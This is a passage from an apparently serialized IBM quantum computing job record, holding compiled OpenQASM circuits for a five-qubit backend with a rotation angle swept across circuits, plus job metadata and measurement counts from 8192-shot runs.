q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1307', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1309', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1311', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}], 'header': {'backend_name': 'qasm_simulator'}, 'type': 'QASM', 'schema_version': '1.0.0'}, 'date': '2019-03-24T10:03:29.200000+00:00', 'job_id': '5c9755f199c2c6005f6bc532', 'backend_name': 'ibmqx4', 'backend_version': '1.0.0', 'job_status': 'DONE', 'results': [{'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1187', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 939, '0x1': 1292, '0x0': 3425, '0x2': 2536}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1189', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 906, '0x1': 1326, '0x0': 3360, '0x2': 2600}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx 